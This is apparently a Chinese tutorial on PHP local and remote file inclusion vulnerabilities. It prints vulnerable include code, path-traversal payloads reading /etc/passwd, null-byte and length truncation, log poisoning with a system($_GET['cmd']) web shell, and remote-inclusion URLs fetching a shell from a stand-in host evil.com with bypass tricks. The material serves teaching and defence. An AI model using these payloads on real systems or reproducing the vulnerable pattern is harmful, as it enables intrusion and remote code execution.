概述

        在开发中,为了代码复用,开发者会把公共头部、尾部、配置文件等写进独立文件,再通过主程序“包含”进来。例如 PHP 里的include()、require()等、JSP的<jsp:include>等、ASP的<!--#include file="    " -->等

        漏洞的本质是当包含的文件路径或文件名可以被用户输入动态控制,且程序未做充分校验时,攻击者就能改变原本要包含的文件,转而包含恶意文件或服务器上的敏感文件,并使其以代码形式被执行(或读取其内容)。

        这类漏洞按所包含文件的来源,通常分为两类:本地文件包含(LFI) 和 远程文件包含(RFI)

LFI本地文件包含

        原理

        LFI即攻击者只能包含目标服务器本地的文件。典型的危险代码形如:

$file = $_GET['page'];
include($file . '.php');

        用户正常请求时,就会返回$page.php。

        但如果攻击者输入?page=../../etc/passwd,由于该文件不存在,一般会被截断掉后缀(需要配合截断技术)或直接失败。如果后缀可以被绕过,或者本身无后缀追加,就能读取任意文件

        若被包含的文件中有 PHP 代码,包含时就会执行。攻击者可以结合文件上传、日志污染等方式,让本地存在一个可控内容的文件,再通过 LFI 包含它,实现任意代码执行。

        LFI可能带来的危害:

        敏感文件读取、通过包含本地可控文件实现代码执行

        路径遍历

        LFI常与路径遍历漏洞(CWE-22)共生。攻击者使用 ../ 序列跳出当前目录,到达系统任意位置。

        例如:

?page=../../../../etc/passwd
?page=....//....//....//etc/passwd   (绕过对 ../ 的简单过滤)
?page=..\/..\/..\/etc/passwd        (Windows)

        截断技术

        早期 PHP 版本(≤5.3)中,当 magic_quotes_gpc=off 时,可使用空字节注入截断:

?page=../../etc/passwd%00

        会使得 include() 实际包含 ../../etc/passwd,因为 %00 被 C 语言视为字符串终止符,后面的 .php 被忽略。

        另一个基于长度截断的技巧:某些文件系统路径长度上限为4096字符,通过超长路径将附加的后缀“挤”掉。PHP 会对路径做截断处理,从而包含到无后缀的文件。例如:

?page=../../etc/passwd/././././...(重复填充直至4096字符)

现代 PHP 版本已修复空字节截断和此类长度截断,但老系统仍可能存在

        日志文件与 Session 文件包含

        攻击者可以通过污染日志文件(如访问的 User-Agent 中写入 <?php system($_GET['cmd']); ?>),使其被记录到 /var/log/apache2/access.log,再通过 LFI 包含该日志文件,进而执行任意代码。

        类似思路也适用于 /proc/self/environ(当 User-Agent 等 HTTP 头存入环境变量时),以及 PHP Session 文件(如果 Session 存储在磁盘且攻击者可控制 Session 值)。

RFI远程文件包含

        原理

        RFI 是 LFI 的“远程版本”,攻击者可以指定服务器通过 HTTP、FTP 等协议加载并执行远程服务器上的恶意脚本。它依赖 PHP 配置项:

        allow_url_include = On (默认关闭,PHP 5.2 起 allow_url_fopen 仅影响 fopen,不影响 include)

        allow_url_fopen = On (影响一些其他函数,但 RFI 主要看 allow_url_include

        典型代码:

$file = $_GET['page'];
include($file . '.php');

        攻击者提供一个远程 URL,如:

?page=http://evil.com/shell.txt

        若该远程文件内容为 <?php system('id'); ?>,则目标服务器会发起 HTTP 请求获取 shell.txt 并执行其中的 PHP 代码

绕过技巧

        URL 编码绕过黑名单:对 http:// 做变形,如 hTtp://%68%74%74%70://

        利用云服务托管恶意代码(如 GitHub、Pastebin 原始文件链接),这些域名通常在白名单。

        使用 FTP 协议:如果远程开启了允许 ftp://

        问号截断后缀:如果远程 URL 后附加了固定后缀(如 .php),可以在 URL 后加 ? 使后缀变成查询参数,如 http://evil.com/shell.txt?,实际请求为 http://evil.com/shell.txt?.php,而 shell.txt 本身会被作为文件读取。

        井号截断http://evil.com/shell.txt%23,后端拼接后变为 shell.txt#.php# 之后被忽略。

Logo

openEuler 是由开放原子开源基金会孵化的全场景开源操作系统项目,面向数字基础设施四大核心场景(服务器、云计算、边缘计算、嵌入式),全面支持 ARM、x86、RISC-V、loongArch、PowerPC、SW-64 等多样性计算架构

更多推荐